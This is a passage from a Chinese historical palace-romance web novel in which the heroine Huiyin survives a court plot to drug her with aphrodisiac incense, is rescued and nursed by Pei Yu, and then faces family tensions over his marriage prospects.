她靠过去时领口肌肤外露,郑妃看见广陵胸前暧昧的红痕,哪会不知道是什么,她抬手拢住广陵的衣领,语气比方才还要严肃:“你玩归玩,但把你那个小玩物给我藏好,若是透露风声,谁都救不了你。” 广陵伸手整理衣襟,不悦道:“我知道了。” 郑妃瞥了广陵一眼,这个女儿是什么性子她最清楚不过,最是阳奉阴违。不过,她不屑的望了眼高坐的皇后,她们郑家如今与裴家平起平坐,她自信,没有什么能伤到郑家。 广陵想玩便让她玩,出了事自有她收拾烂摊子。 郑妃问:“你方才说为我出气,什么意思?” 广陵端起酒盏一饮而尽,眼尾艳丽:“母妃等着看戏便是。” 正坐上方的苏静好望着徽音空空无人的座位,抬手遮住嘴角。徽音啊,别怪我,要怪就怪你自己,命不好。 她望向人群中和太子饮酒的裴彧,嘴角轻扬,她很期待,裴彧知道了后,会是什么样的表情。 裴彧敏锐的察觉有人在看他,他掀起眼皮看了眼苏静好,向后靠去隐在太子身后。 太子发现他的动作,笑问:“醉了?” 裴彧抬手遥指上头的苏静好,“烦。” 太子顺着他的指着的方向望去,正好望见苏静好投来的含情眼神,他心中微动,微笑回应。 同时问裴彧:“什么烦?” 裴彧懒得看他这副痴汉模样,无趣的别过头,自饮自酌。他视线漫无目的的在殿内巡视,看了裴夫人,贺佳莹,裴衍,唯独没有看见他想见的那个人。 徽音是被热醒的,醒来时浑身是汗,鼻尖充斥着甜腻的香味。她动了动身体,发现身上盖着一层厚厚的棉褥子。 迷香的后劲还残留的身体里,徽音软绵绵的起身,将炉中燃烧的香灭掉。 这种手段她见过的多了,无非是下药找人毁清白,今日是她疏忽了,竟中了这种拙劣的招数。 好在那些人离去前用被子遮掩住她的身形,将她提前热醒,换得了些时间。徽音使劲的掐了把大腿,脑中清醒过来,她吸入了不少催情香,已经开始发作了。 徽音能感觉到身体的不对劲,她此刻像饮多了酒,胸腔燥热,小腹酥麻,带着微微湿意。 她艰难的去的推门,不出意料的从外面锁住了,又去开窗,窗户也从外面钉死。出不去,那就躲起来。 徽音环顾四周,这间屋子不大,家具稀少,除了一张窗,一张案件,几个木橱柜外,就是一些零零散散的摆件。 唯一能躲人的就是梁上,她将屋中唯一的一个木箱推到木橱柜变,又翻出一块锦布盖在木箱上,造出原本就摆在这里的假象。 然后费了老大的劲爬上木橱柜,再借木橱翻上梁,静静的靠在梁上,等待时机。 药效发作,徽音头也开始晕沉起来,眼前似乎有了幻影,呼出的气都是滚烫炙热的。她只能不断的掐腿,按穴保持清醒。 没过多久,铜锁落地,一个人影推门走了进来。 徽音浑身紧绷,期盼他发觉屋内没人离去,好给她机会逃跑。 那人走近了些,似乎也是闻到屋中不对的香味,以袖掩鼻。 徽音定眼望去,底下那人竟然是个容色娇媚,身材丰腴的女娘。她确认,是个她没见过的女郎。 那女郎直奔床而去,发现屋中没人时,开始四处翻找,小声的叫着:“徽音,徽音。” 她面上焦急,时不时的看向门外,将整个屋内翻了个遍都没看见人影。 “我在这里。” 头顶上传来声音,乐漪惊异的退后两步,仰头去看梁上。 “你是谁?”徽音虚弱的发生。 乐漪焦急的跺脚,去搬屋内可以垫脚的四方鼎,翻盖在木箱上,喊道:“先别问那些了,你快下来,鲁王马上就要来了。” 好色的鲁王?徽音想起上巳节时拦住她的人。 她艰难的回到的橱柜上,在乐漪的帮助下落到地面,被乐漪扶住离去。 徽音的状态的走不远,乐漪便扶着她躲在屋子旁的阴影里。 两人刚刚藏好,鲁王就满身酒气,脚步虚浮的朝这边过来,嘴里还在骂骂咧咧:“该死的小崽子,等老子抓到你,要你好看。” 他眯起眼睛看着前方大开的屋子,得意的大笑:“蠢货。” 鲁王快步进了屋,没过一会就怒气冲冲的出来,叉腰在门口四处张望,最后朝南侧小道追去。 徽音和乐漪同时舒了口气,看来鲁王也不知情,是被人引过来的。 乐漪擦着汗,担忧的望着徽音:“你还好吧?” 徽音咬着唇摇头,她一点都好,她现在很热,整个人都烧的慌。更难为情的事,她双腿酥麻不堪,只有加紧双腿时才好受一点。 乐漪说:“我不能出来太久,会被发现的,我回殿上叫人给裴家传信,叫她们来找你。” 徽音抱紧身体点点头。 乐漪望着她已经咬泛白的下唇,叮嘱道:“你在这里等,我马上叫人来。” 她抬脚离去,徽音拉住她的手臂,乐漪的容颜在月色下更显艳媚,像朵盛开的芍药花,徽音喘气道:“你叫什么?” “我叫乐漪。” 乐漪走后,徽音躺在地上,蜷缩在一起。她迷迷糊糊的想着,今夜出手的人是谁,又是谁能支使动睢阳的宫婢。 细碎的脚步的脚步传来,徽音透过缝隙望去,两个宫婢和三个小黄门在屋门前查看,其他一个喊道:“遭了,人跑了,快去告诉公主殿下。” “你们四个,沿着这一块仔细的搜查。” 徽音扶着墙起身,脚步蹒跚的朝后走,她知道答案了,是广陵,还有苏静好。 第37章 甘泉宫夜宴下 乐漪整理好因奔跑散乱的衣裙和发丝, 深吸一口进入大殿。殿中依旧歌舞升平,纸醉金迷,无人察觉到底下的暗流涌动。 她环顾一圈, 找到了凑在众夫人中间的裴夫人和贺佳莹,她们不远处就是郑妃和广陵公主。 乐漪为难片刻, 继续寻人,最后在一安静的角落里看见了独自一人的裴彧。她心口一松,躲避众人偷偷的移过去。 在即将靠近裴彧的那一刻,身后传来唤声:“乐漪, 你去哪?” 乐漪僵硬的回身,努力的笑着:“妾看错了, 以为是王爷。” 吴王上前, 意味深长的盯着乐漪,“连自个的夫君都能看错, 该罚。” “妾……” “好了,”吴王揽过乐漪,带着她朝裴彧走去,高呼道:“裴将军,怎么独自一人在此处啊?” 乐漪手心全是汗, 她脑中砰砰作响, 吴王在她身边, 她要如何告诉裴彧徽音出事了。 裴彧不动声色的皱眉, 来了只讨人厌的苍蝇。他懒懒的换了个姿势, 百无聊赖道:“躲清静。” 吴王协着乐漪坐到裴彧身前, 单手在乐漪脸上游离,“这便是我新纳的妾室,天生尤物。你觉得, 比之宋徽音如何?” 乐漪听见徽音的名字,身体一僵。 裴彧完全没有兴趣,他只扫了眼乐漪僵硬的表情,没甚趣味道:“宋徽音更好看。” 吴王大笑,狭促的凑近裴彧,暧昧道:“我说的可不是脸。” 这厢,贺佳莹在夫人堆里脸都快要笑僵了,她趁着裴夫人和另一人闲谈之际,去寻徽音的身影。找了一圈都没看见她,贺佳莹心底的狐疑又涌上来了。 她向高处望去,睢阳公主与苏静好一起凑在皇后身边,没有徽音。贺佳莹放心不下,鼓起勇气朝高台走去。 她恭恭敬敬的跪下朝皇后娘娘和睢阳公主行礼。 裴皇后望着贺佳莹伏地的身影,有些疑惑,这个小丫头一向害怕她,怎么今日主动凑上前来了。 “起来吧。”裴皇后面带笑意,到底是裴夫人娘家人,她虽不喜贺佳莹的脾性,却也不会当众为难。 睢阳问:“你怎么来了?” 贺佳莹道明来意:“半个时辰前睢阳殿下的宫婢叫走了徽音,说是要和她叙话,妾是想问殿下,徽音与您分别后,去了哪里?” 睢阳慌乱下碰摔杯盏,“啊?我没让人找过徽音阿姊啊。” “我亲眼所见,就是那个叫佩儿的宫婢。”贺佳莹着急道。 睢阳还想再问,裴皇后抬手制止她,她招手换来大长秋姚兰,神色严肃:“你带着人去查,不许透露风声。” “再给元晞送个口信。” 姚兰低眉垂手,快步出殿。 贺佳莹和睢阳对视一眼,心中明了,徽音只怕是叫人给算计了。 一直安安静静的苏静好嘴角轻扬,找吧,最好动静大些,闹得再大些。 —— 乐漪心底煎熬,她已经耽误太久了,再耽误下去,徽音肯定要出事。她得赌一把, 她偷偷望着和吴王喝酒的裴彧,从袖中取出一只樱果形状的银钗扔在地上。 这银钗是她带徽音出屋的时候所捡,她担心有人拿这银钗做文章,慌乱中揣进了袖中。 银钗的落地的清脆声吸引了裴彧的注意力,那银钗上的樱果形状莫名眼熟。裴彧想起来了,前几日他与徽音对坐吃饭时,她发髻上好像也有这么一只。 裴彧百无聊赖的想着,现在都流行带这种果子形状的首饰了吗? 他不经意间和乐漪的目光对上,发现乐漪眼神闪烁,望着他似乎有话说。 裴皇后派遣的小黄门找到裴彧,上前行礼。 吴王眯着眼打量那宫婢,问:“可是母后有事吩咐。” 小黄门恭谨的低下头,“娘娘有话转告裴将军。” 小黄门凑近裴彧,轻声耳语。 吴王仔细打量裴彧的表情,见他面色不改,无趣的转头吃菜。 小黄门走后,裴彧指着地上掉落的银钗,看向乐漪,“你东西掉了。” 吴王也扭头看去,见乐漪低头捡起银钗,他问:“这银钗样式倒是有趣,你新买的?” 乐漪摇摇头,偷偷觑了眼裴彧,轻声道:“方才出去透风,在大殿东北方向,石亭往西的一处灰白墙屋外捡的。” 吴王不在意的收回视线。 裴彧示意他看向身后,吴王回头望去,太子正与众臣闲聊,满面红光。 “殿下不去吗?”裴彧饮了口酒,握紧酒盏。 吴王面色一变,他只顾着找裴彧麻烦,倒忘了今日是个笼络人心的好机会。他端起酒盏,叮嘱乐漪回郑妃那,大步离去。 他走后,乐漪快速道:“你快去寻徽音吧,她中了□□。” 裴彧起身,正色道:“多谢。” —— “呼。”平静的湖面冒出一个人影。 徽音双手撑在岸上,身体浸在湖水里,她实在热极,加上外面现在有不少人在找她。慌乱之下便躲进湖里,有人来就潜入水中憋气。 几个来回下来,她仅剩的力气也耗干净了。 又有脚步声传来,徽音深吸一口气,再次潜进水里。 那人不仅没走远,还朝着湖边走来,停在了徽音正上方。 王寰盯着水中的黑影,眼底满是心疼。他蹲下身,轻轻呼唤:“徽音,是我。” 听见熟悉的声音后,徽音浮出水面,大口的呼吸。她看见王寰蹲在她面前,面容清俊,曲袍铺地,白玉发冠在月色下熠熠生辉,为他增添一抹神意。 王寰伸出手擦拭徽音眉间的水珠,动作温柔。 徽音面露欣喜:“你怎么知道我在这里。” 王寰解下外袍,将人从湖中抱上来,替徽音披上外衣,“我出来透风,看见有人在寻你,猜到你出事,一路寻过来的。” 徽音裹紧外袍,仰头得意道:“我躲进水里,他们都没能找到我,” 王寰心中难过,他抬手摸着徽音的头,眼眶发热,“没事了,我不会让任何人伤害你。” 徽音待在湖里还好受些,此刻从水中出来,身上又开始发热。 王寰注意到徽音的不对劲,猜到她中了药。他取出帕子擦着徽音脸上的水珠,轻声道:“能走吗?” “不能,没力气了。”徽音无奈叹气。 王寰单膝跪在徽音身前,月牙色袍子沾上灰尘,他回头望着徽音,抿唇道:“我背你回去。” 徽音确实没有力气了,她将外袍系好,趴在王寰肩上。 王寰的走的很稳,他的背脊也很宽阔,徽音望着天上明亮的弯月,眼皮渐渐耷拉。 王寰一路上都避开人群走的小路,他一直没出声。 直到徽音的脑袋搁在他的肩颈处,呼吸间热气喷洒在他的肌肤上,他才轻轻转头,侧脸贴着徽音的湿发,声音极轻:“我后悔了。” 后悔守着君子之风,后悔等徽音开窍,请求推迟定亲。 如果,他一早就和徽音定下来,宋家出事的时候他就可以名正言顺的出手,可以照顾徽音,将她纳入羽翼之下,保她不受磨难。 而不是像现在这样,无能为力。 “徽音,我后悔了。” 徽音趴在王寰肩膀上迷里迷糊的,□□的药效又上来了,她又开始发晕了。 “你说什么,我没听清?” 王寰苦笑片刻,摇头道:“没什么,你还记不记得,这并非我第一次背你。” 徽音打起精神,想起了往事:“我记得的,有一年上巳节,我们两家相约一起踏青骑马,我骑的那匹小驽马不知道为何发疯,将我甩下马伤了腿,是你赶来救了我,一路背着我回去。结果半路还倒霉下起了雨,我俩淋的跟落汤鸡一样。” “是啊,要是能回到过去,该多好啊。”王寰笑起来,眼底带着悲意,他看见了等在前方的人。 王寰停住脚步,侧头唤着徽音。 徽音迷茫抬起头,十步外的树下,裴彧孤身一人等在那里,目光沉沉的望着他们二人。 “裴彧,你来了。”徽音轻吟出声。 王寰握紧徽音的腿弯,万分不甘的松开手,他动作轻柔的放下徽音,整理她耳边的乱发,低声呢喃道:“去吧。” 徽音脚步发软,她攥紧身上的外袍,朝裴彧慢慢走过去。她身体一阵热一阵冷,应该是方才在水里待久了,许是风邪入体。 裴彧从方才视线就没有离开过徽音,发觉她脚步虚浮后,立马大步流星上前,将人横抱在怀里,小心翼翼的用脸颊贴近徽音的额头。 “宋徽音,你在发热。” 裴彧的侧脸冰冰凉凉的,贴着很舒服。徽音眯起眼,双手抱住裴彧的颈脖攀上去,贴着他颈侧的肌肤,委屈道:“裴彧,我难受。” “我带你回去。”裴彧抱紧徽音,朝王寰略一点头,“多谢。” 他抱着徽音转身离开,没一会,裴彧的背影就消失在黑暗里。 王寰一直站在原地,望着他们远去的方向,第一次明白,什么叫肝肠寸断。 他想要徽音,很想。 —— 裴彧抱着徽音回到迎风馆,一路朝后院走去,高喊道:“颜娘,备水,要冷的,再叫人去请医官。” 颜娘听着外头的喊声披上外衣急急忙忙的出了门,她看见徽音卧在裴彧怀里,手紧紧攥着裴彧的衣领,神色痛苦。 “哎,我这就去。”颜娘穿好鞋,挨个去拍侧屋的门,叫阿蘅去弄水,叫阿桑去请医馆。 交代完后,她跟着裴彧的脚步进了屋,徽音被裴彧放在床上,颜娘这才看清徽音浑身湿透,连发丝都在滴水。 她赶忙拿起干净的帕子,小心的包住徽音的湿发,打算先给她换身干净的衣服。 颜娘回头去看站在床侧的裴彧,焦急道:“少将军,我得先给娘子换身衣服。” 裴彧转身出去,“我在外面等,有事叫我。” 等他走后,颜娘伸手去解徽音身上凌乱的外袍。 徽音人虽不清醒,警惕性却还在,察觉到有人要解她的衣服,她睁开眼,双手拽紧衣领,不肯松开。 颜娘低声哄道:“徽音,是我啊,是傅母,傅母在这呢。” 徽音慢慢松开手,难受的望着颜娘,泪珠涌落,委屈道:“傅母……我难受,我好热。” “乖,已经去请医馆了,喝了药就不难受了。”颜娘心如刀割,大掌不停抚摸徽的脑袋,低声轻哄。 颜娘见徽音安静下来,转身去拿干净的衣服,却被徽音捉住手。她回头望去,徽音眼中含泪,紧紧握住她,手心发热。 “傅母,不要走。” 颜娘握住徽音,“不走,傅母不走,徽音乖,傅母帮你换身干净衣服。” “好。”徽音乖乖点头。 裴彧坐在外室,将里头的低语呢喃听的一清二楚。他想起带着徽音回来的路上,她药效发作,埋在他颈间不停的乱蹭,低低的轻哼,说她热,让裴彧帮帮他。 那一声声低喃,唤进裴彧的心口,唤的他发热,也好像中了药。 裴彧轻轻念出声:“徽音。” 等到医官来开药,煎药,好后服侍徽音喝下,已经半夜。期间裴夫人和贺佳莹从宫宴上回来,都来看过徽音,见她没事才放下心离开。 贺佳莹本不愿意走,要守着徽音醒来,她自责自己没能早些发生异常,叫徽音受苦,回来后便伏在徽音床前哭泣。 还是裴彧觉得她哭声太大,会吵着徽音休息,让人婢女将贺佳莹拖走。贺佳莹走时还抓着门框,哭的凄凄惨惨,“表兄,你一定要抓到幕后黑手,给徽音报仇!” 徽音喝完药就安静的睡过去,颜娘趁机检查了她的身体,除了大腿侧有几处淤青,其他地方都没伤着。她放下心出门,见裴彧还等在屋内。 颜娘上前道:“少将军,娘子已经睡下了,你也去休息吧。” 裴彧透过帷幔看着趟在床上的人影,道:“你下去吧,我在这里守着她。” 颜娘不放心,但裴彧的目光不容她质疑。 她慢慢的退出屋内,关上门。 颜娘走后,裴彧走进内室,坐在床上静静凝望徽音的睡颜。他看见徽音睡梦中还眉头紧皱,不禁伸出手轻轻抚平眉间。 但他抚平后,下一刻,徽音的眉头又不自觉的皱起。 裴彧笑起来,不愧是她,看着柔柔弱弱,实际比谁都要倔。 他凑近徽音,再她耳边轻语:“宋徽音,睡觉皱眉,这个可习惯不好。” 徽音似乎有所觉,眉头竟慢慢的舒展开。 裴彧笑的更深了。 里屋的灯火一夜亮至天明。 颜娘鸡鸣时分便起了,她踌躇的等在门外,不知该不该推门进去。 昨日医官交代她,说徽音曾在湖水中泡过,一冷一热容易风邪入体,让她今日早晨看着些,若今日没发热,那就一切都好。 她在门外来来回回踱步时,屋内的门突然被打开,裴彧还是昨夜那身,他带上门,朝颜娘道:“方才我探过她的额头,并未发热,让她好生歇息。” 颜娘没料到他将昨夜医官的话放在了心上。她点点头,看着裴彧离去的身影,神色复杂。 如裴彧和徽音如今的身份,任何一方动心,对他们两人来说都不是好事。 裴彧动心,以他的身份地位,若想困住徽音轻而易举,何况,他迟早是要娶妻的,不是柳檀,也会是别的贵族女郎。 若是徽音动心,爱上一个不能只属于她的男人,这对她来说,太残忍了。 颜娘叹了口气,走进侧屋开始煲汤,一个时辰后,院中高汤香味四溢。 颜娘轻手轻脚的进了屋,她走进内室,发觉内室和她昨夜离去没有任何变化,连她放在徽音被褥上的头发丝都还在。 这说明裴彧昨夜没有碰过徽音,也没有上床睡觉,屋内其他地方也没有睡过人的痕迹,难不成,他守着徽音一夜未睡? 颜娘放下心,好在徽音尚未开窍,目前看来,先动心的是裴彧,只要利用他报完宋家的仇,届时再寻脱身的法子。 —— 裴彧离开迎风馆,一路朝苑林马场而去,驰厌和方木牵着三匹马正等在草场外,嬉皮笑脸的闲聊。见了裴彧,两人都立马变得正经起来。 “昨夜的事查的如何?”裴彧结果方木递来缰绳,动作轻捷的跃上马背。 驰厌和方木也跟着上马,慢悠悠的走在裴彧身后,驰厌回道:“已经查到了,除了广陵公主还有一人,就是她买通睢阳公主的宫婢佩儿,不过,宫婢佩儿昨夜已经自缢身亡了,背后那人还没查出来。” 裴彧:“鲁王呢?” 驰厌:“鲁王挺倒霉了,他什么都不知道,昨夜是有人故意挑衅他,鲁王一路追着那人过去的。” 方木驭马上前,接话:“他也不无辜,好色成性,昨夜若非宋娘子先行离去,叫他瞧见,肯定遭他毒手。” 裴彧冷笑:“找个由头让鲁王犯个错,先关他一个月。” “至于广陵,将她在城西强占的地全部递到京兆尹那里去,怎么吃进去的,怎么给我吐出来。” 驰厌和方木同时笑起来,行,又有两个倒霉蛋撞上来了。 “那那个幕后之人怎么办?”方木问。 裴彧扬起马鞭,朝着苑林疾驰,风里传来他的声音,“她知道是谁。” “她?”方木不懂,“她是谁啊?” 驰厌甩开方木,无语道:“你说呢?” “等等我。”方木回过神,对啊,既然是针对徽音,那必然是和她有过节的人。 这边,迎风馆,也在问这个话题。 徽音醒后,先是裴夫人来看,她许是受柳夫人那些话的影响,对徽音态度有些奇怪,没坐一会就走了。 裴夫人前脚刚走,后脚贺佳莹就来了,她拉着徽音讨论昨晚的幕后真凶,“除了广陵公主,另一个是谁啊?” 徽音用着汤,上腾的热气模糊她的眉眼,贺佳莹听见她平淡的声音:“苏静好,” 贺佳莹还没什么反应,颜娘却砸了手中的漆盘。贺佳莹转头看过去,发现颜娘一脸气愤,指甲攥紧漆盘泛白。 颜娘深吸一口气,有些控制不住情绪,没忍住骂出声:“白眼狼,死后下十八层地狱!” 贺佳莹满脑子疑惑,弱弱的发声:“我怎么了?” “贺女郎,奴婢不是骂你,奴婢是在骂那苏静好。”颜娘不好意思道。 贺佳莹吞咽下,默默的点头,她还是第一次见颜娘这副怒极的模样。不过,苏静好和徽音不是好姐妹吗?她这般想,也问出了口。 徽音放下漆碗,擦拭嘴角,面无表情道:“从前是,往后,是你死我活的仇人。” “她做了什么?”贺佳莹眨着眼,小心的问。 徽音微微摇头,“抱歉,各中缘由不便细说。” 贺佳莹也不再细问。她眼珠提溜转:“昨夜表兄可担心你了,你放心,他一定会好好替你出气的。” 徽音擦嘴的动作一顿,昨夜的发生的一切她都记得,她想起昨夜药效发作卧在裴彧怀里的呢喃,脸上窜起热意。 她此生最尬尴,最为狼狈的场景都被他瞧见了。 “不用他帮我,我自己来。”徽音回道。 “你打算怎么做,让我帮你呀。”贺佳莹激动的凑上前。 徽音轻轻笑道:“你先帮我打听一个人,她叫乐漪,昨夜多亏了她帮我。” 贺佳莹拍着胸脯,“包在我身上。” 贺佳莹走后,颜娘内心极其纠结,不知该不该告诉徽音昨夜裴彧照顾她一夜的事情。她望着徽音恬静的侧脸,最终还是选择压下心中的话语。 颜娘捧着药膏坐在徽音身前,因是在屋里,徽音只穿了件薄纱寝衣,颜娘撩起徽音的下裙,露出她的双腿,指腹沾上药膏,轻缓的涂抹在一片雪色中有淤痕的地方。 “一日三次,过不了几天淤痕就消散了。”颜娘涂完药,整理好徽音的裙摆。 徽音体内还有药效残留,四肢使不上力,人也困顿不堪。 颜娘叫人搬来一张竹席矮榻,放在庭中通风口,四周用深色帷幔遮光,让徽音午歇。 徽音躺在榻上,微风徐徐,耳边是花草轻摆发出的沙沙声,还有几只雀鸟的叽叫,她陷在软枕,眼皮合拢慢慢的的睡去。 她久违的做了个梦,梦里她回到了昨夜遇见广陵和她那个面首所处的假山中,只是梦中的广陵变成了她自己,她身前蹲着一个男人,剑眉星目,唇色潋艳。 徽音靠在假山上,浑身无力,眼中含水。 身下的男人双手拢住徽音的腰身,哑声问:“舒服吗?” 徽音看清他的脸,瞬间惊醒。她喘着气的望着头顶的深色帷幔,心跳的极快,她抱紧夏被,双腿无意识的缠在一起。她怎么会做这么奇怪的梦,梦里的那个人又怎会是裴彧。 徽音身上泛起细密的小汗珠,她羞赫的捂住发热的双脸,一定是那□□影响了她,一定是。 她掀开帷幔,声音发软:“傅母,我要喝水,凉的。” 因着那个奇怪的梦,徽音一整天不自在极了,她心中一阵发虚,想着等会裴彧回来她要如何面对他。 她现在一想到裴彧那张脸,仿佛就像回到了那个旖旎的梦镜中。 只要一想到梦的裴彧问她舒服吗,她就双脸发红,口干舌燥,不停的灌水。 颜娘还当今日的饭菜做咸了,想着等会去交代一下,晚间送些清淡的饭菜过来。 余晖将天色染成橘金,斜斜的金色洒在庭院内,徽音靠在门框上,听着隔壁院子里的嬉笑声。 裴夫人院子里传来贺佳莹和裴衍的声音,唯独没有喊她。 她对徽音的态度急转而下,柳氏到底同她说了什么? 第38章 睢阳的未婚夫王子邵 裴彧一整日都在苑林马场布防, 七日后,陛下要在苑林马场行猎。他走进迎风馆,等在门口的婢女立马迎上来, 说裴夫人请他过去。 “宋娘子在那边吗?”裴彧单手解着手腕上的袖箭。 婢女回:“宋娘子不在,小郎君和贺女郎都在。” 裴彧解袖箭动作一顿, 徽音很聪慧,进府后就开始讨裴夫人欢心,她也成功了。 裴夫人后来很喜欢她,干什么都会带上她, 甚至府里的一些事还会过问徽音的想法,怎么突然间, 裴夫人的态度就冷了下来。 他奔波一日, 衣裳濡湿,身上还有草屑。裴彧调转方向, 朝徽音的院落去去,吩咐道:“你去同女君说,我沐浴更衣后再过去。” 裴彧刚踏进门,就看见徽音靠在门发呆的望着隔壁院子的方向,他的心突然抽动了一下。 “少将军。”颜娘出侧屋门, 看见立在院门口的裴彧。 徽音被这声音喊回神, 她转头望去, 看见裴彧的身影。 “你回来了。” 裴彧朝徽音走去, 停在她面前三步远, 回道:“我回来了。” 徽音点点头, 垂下眼不敢看他。她双手拢在袖中,在看不见的的地方扣着手心。 “我出了一身汗,想沐浴。”裴彧望着她说。 徽音抬眼, 发现他衣摆下沾着的草屑,她转头去寻颜娘,吩咐道:“傅母,叫人备水。” 屋内被三层云母屏风隔开,徽音坐在锦席上,听着外间的水声,她左手边,摆着一套干净的青色男子裾袍。 裴彧沐浴完,穿着中衣进了内室,他发丝披散,争先恐后的往下滴水。 徽音将漆盘里干净的棉帕递过去,裴彧没接,他眼底浮现笑意:“你帮我擦。” 裴彧走到徽音身前,盘腿坐下。 徽音轻轻呼出一口气,拢起裴彧的发丝慢慢擦着,内室寂静,只有棉帕擦拭过发丝的轻微声响。 裴彧闭着眼,问:“今日身体如何,可有不适?” 徽音因他这句话,心绪起伏起来,周身好似被温水没过,全身的毛孔都舒展开。 “已经无碍。”她掐着手心,平复内心的躁动。 裴彧转身接过徽音手中的棉帕,手掌无意间碰到徽音的手,冰凉如玉,与昨夜的滚烫截然不同。 徽音不妨被他燥热的手触碰,她想起梦中的裴彧,心中发毛,撑着手后退。 裴彧见徽音白皙的脸浮现浅红,疑心她还在低热。他伸出手去探徽音的额头,还未触及到,便间徽音如同大敌一般的飞快起身退开。 他右手停顿在空中,气氛尴尬沉凝。 裴彧收回手,看着不远处徽音戒备的神色,沉默片刻,解释道:“你面色发红,我只是想看看你是不是还在低热。” 徽音只听见裴彧说她脸红,她心中一慌,连忙背过身朝床榻走去,遮掩道:“有点热,我真的没事。” 裴彧望着她隐入帷幔后的身影,没再说什么。他拢起帕子随意的将湿发擦干束起,取过干净的外袍穿上。 “我先去阿母那里,晚些再归。” 他没有听见徽音的回复,转身离去。 徽音听着远去的脚步,偷偷探头出来,神色苦恼。看裴彧的模样今夜是要歇在她这里,可徽音白天才做了一个难以启齿的梦,她担心今夜又会做梦,在裴彧面前失态。 徽音恨恨的想着,喜欢用药是吧。迟早有一天,她也要叫广陵尝尝这个滋味。 —— 裴彧停在裴夫人门外,听着里头三人的热闹的笑声,想起独自一人发呆的徽音。他抿紧唇,推门进去。 闲聊的三人不约而同的停下,转头望着裴彧。 裴衍高兴的叫道:“阿兄,你回了。” 裴夫人望着裴衍想念道:“彧儿,快过来,让阿母瞧瞧。” 贺佳莹问:“表兄,你教训广陵了吗?” 他走上前,不经意的问道:“怎么没叫徽音过来?” 贺佳莹抢先道:“姨母说徽音受了惊,让她好好歇息。” “是啊。”裴夫人不自然的回道。 裴彧如何不清楚他阿母的脾性,心思简单的能叫人一眼看穿。他盯着裴夫人,指节轻叩腰牌,将贺佳莹和裴衍打发走。 等院中清空后,裴彧跪坐在裴夫人面前,目光如炬。 裴夫人心尖一颤,不敢抬头去看裴彧。随着裴彧的长大,整个裴家都由他当家作主,裴夫人对儿子的心思也越发捉摸不透起来。 她双手紧握,状似不悦道:“你这是什么意思,一回来就冷脸,谁得罪你了?” 裴彧拿起漆勺,从旁边静置的茶壶里替裴夫人添茶,他气质沉稳,微笑道:“没人得罪,只是儿子想知道,是谁在您面前嚼舌根。” 裴夫人见裴彧知晓,生气的拍桌,“就晾了她一会,她就忍不住给你告状了!” “她什么都没说,儿子也不是傻子。”裴彧淡淡道。 裴夫人更生气,恨恨道:“好啊,我真是白养了个儿子。有媳妇就忘了娘,怎么,我就是故意晾她,你要替她骂你老娘出气吗!” 裴彧抬眼,无奈道:“她是您的儿媳,做错了事情您不喜,要责骂理所应该。只是咱们裴家也不是那等子刻薄人家,阿母心地良善,宽宏大量,谁人不喜您?” 裴夫人叫裴彧一顿捧着,方才的气瞬间消失,她嘴角不可印制的扬起笑,颇不好意思:“我也没你说这般好。” 裴彧哄好母亲,试探的问道:“不知徽音做了什么惹您生气了?” “她倒没做什么,”裴夫人端起茶碗吃了口茶,面有忧色,“还不是你闹的,这些年不愿娶妻,要守着那柳檀……” 裴彧打断裴夫人的话:“儿子从没说过这话。” 裴夫人没好气道:“你是没说过,那为何柳檀另嫁人后,我屡次提起让你成婚一事你都拒绝了。还有,你若不念着她,为何青州董氏要求柳檀替董无伤守一辈时亲赴青州施压,为她争得只守三年。” 裴彧皱眉,不愿意再就这事情深究下去。他问:“这与徽音有何干系?” 裴夫人生气的站起身,怒道:“如何没干系!宋徽音倘若平凡些,留着做一个妾也就罢了。可她品貌才学样样出众,柳家自然担心她将来留住你的心,碍柳檀的路。这不,柳夫人找到我,让我赶紧把人打发走,免得日后妻妾争锋,闹得你后宅不宁!” 裴彧冷嗤:“我裴家的事情,何时轮到她柳氏做主。” 裴夫人气得身体发热,看傻子似的看裴彧,骂道:“你要娶她家女儿,她可不得插手吗?都怨你,非惦记柳檀,她都抛下你另嫁了!” 裴彧被裴夫人劈头盖脸骂了一通,他单手支头懒洋洋道:“宋徽音是走是留,全凭她自己的心意,旁人做不得主,阿母不必理会柳氏。” 他起身要走,裴夫人在身后追问:“那徽音和柳檀,你选谁!” 裴彧背身扬手回:“答案我已经告诉阿母了。” 裴夫人顿住,将方才裴彧说的每一句都回想了个遍,也没猜出个所以然来。 她愤愤的朝裴彧喊:“臭小子,跟你老娘还打哑谜。好的不学学坏的,回来一年净跟那群老头子学打官腔。” 裴夫人气得够呛,拿案几上的竹扇用力扇风。乔媪推门进屋,接过裴夫人手中的竹扇轻摇,宽慰道:“女君这是怎么了,生这么大的气?” 裴夫人将方才与裴彧交谈的话一五一十的讲给乔媪听,“你说,他到底是什么意思?” 乔媪笑道:“少将军的意思很明显了,他都说徽音是您儿媳了,您还不懂啊?” 裴夫人回过神,不解道:“那柳檀又是怎么回事,他不娶了?” “感情一事谁又能说的准呢。”乔媪回道。 裴夫人仔细想着,徽音她哪哪都喜欢,柳檀她以前也很喜欢,但她另嫁一事始终的裴夫人心中一道过不去的坎,若非裴彧多年不娶,只惦念柳檀,她是无论无何也不会同意柳檀进裴家的门。 可若是现在,裴彧喜欢上徽音,那倒是好办了。徽音如今的身份做不得正妻,届时她再替裴彧娶一位贤良淑德的贵女,贤妻美妾的照顾,多好。 裴夫人想明关窍,也不再发愁,脸上重新恢复笑意。她叮嘱乔媪:“这两日冷落了徽音,明日你挑些好东西送到西院那边去。” 乔媪笑着点头。 —— 裴彧回到西院,院中灯火已熄,正屋一片漆黑。他上前推门,就这月光走进屋内,询问床上的人影,“睡了?” 徽音动了动身体,从夏被里钻出来,掀开帷幔,“还没,你点灯吧。” 屋内燃起火光,裴彧坐在外室,隔着一道帷幔和徽音对视,透过一层薄薄的轻纱,他顺着徽音的眉音,鼻子,嘴巴往下,不着很痕迹的打量。 灯下看美人。 徽音听着外边的动静,轻轻歪头,裴彧进来坐下后就没再出声,他的身影被光影映在帷幔上,轻轻晃动。 “不睡吗?”徽音撑着身体有些累,她趟下望着裴彧的身形问道。 她听见裴彧说:“你睡,这里没有多余的被褥。” 徽音看着身侧宽阔的床榻,忍了忍没出声。 裴彧灭了灯,室内重新蒙上黑暗。 徽音闭上眼,酝酿睡意。半响后,她无奈的睁开眼,许是白日睡多了,也许是裴彧还在,她睡不着。 她轻轻翻身,枕着手臂望着帷幔后那道黑影。思绪飘远,裴彧是她见过最俊美的男子,他比王寰还要好看三分。 两人气质也截然不同,王寰像月亮,周身温润,待人彬彬有礼,润物无声,不会给人冒犯的感觉。 